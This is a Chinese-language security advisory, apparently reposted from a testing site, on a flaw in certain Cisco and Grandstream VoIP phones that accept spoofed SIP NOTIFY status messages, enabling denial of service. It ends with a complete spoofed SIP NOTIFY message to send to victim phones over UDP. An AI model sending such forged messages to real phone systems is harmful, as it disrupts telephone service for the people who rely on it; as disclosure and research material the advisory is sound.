多家厂商VoIP电话欺骗SIP状态消息处理漏洞

受影响系统：

Cisco VoIP Phone CP-7960 3.2
Cisco VoIP Phone CP-7960 3.1
Cisco VoIP Phone CP-7960 3.0
Cisco VoIP Phone CP-7940 3.2
Cisco VoIP Phone CP-7940 3.1
Cisco VoIP Phone CP-7940 3.0
Grandstream BudgeTone 100

描述： BUGTRAQ  ID: 14174

Grandstream BudgeTone和Cisco VoIP Phone都是常见的IP电话解决方案。

多家厂商的VoIP Phone以不正确的方式处理欺骗的SIP状态消息，可能导致拒绝服务攻击。

受影响的电话没有验证NOTIFY消息的“Call-ID”、“tag”和“branch”首部，处理了欺骗的状态消息而不是拒绝这些消息。 这样如果攻击者向SIP环境中的所有电话都发送“Messages-Waiting: yes”消息的话，几乎所有的电话都会处理这些消息，导致服务器达到峰值，造成拒绝服务。

<*来源：Tobias Glemser （tglemser@tele-consulting.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112067698624686&w=2
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

向受害用户发送UDP消息：
    
    Session Initiation Protocol
         Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
         Message Header
              Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
              From: "asterisk" <sip:asterisk@10.1.1.1>;tag=000000000
              To: <sip:login@10.1.1.2>
               Contact: <sip:asterisk@10.1.1.1>
               Call-ID: 00000000000000@10.1.1.1
              CSeq: 102 NOTIFY
                  User-Agent: Asterisk PBX
               Event: message-summary
               Content-Type: application/simple-message-summary
               Content-Length: 37
          Message body
               Messages-Waiting: yes\n
               Voicemail: 3/2\n

原文转自：http://www.ltesting.net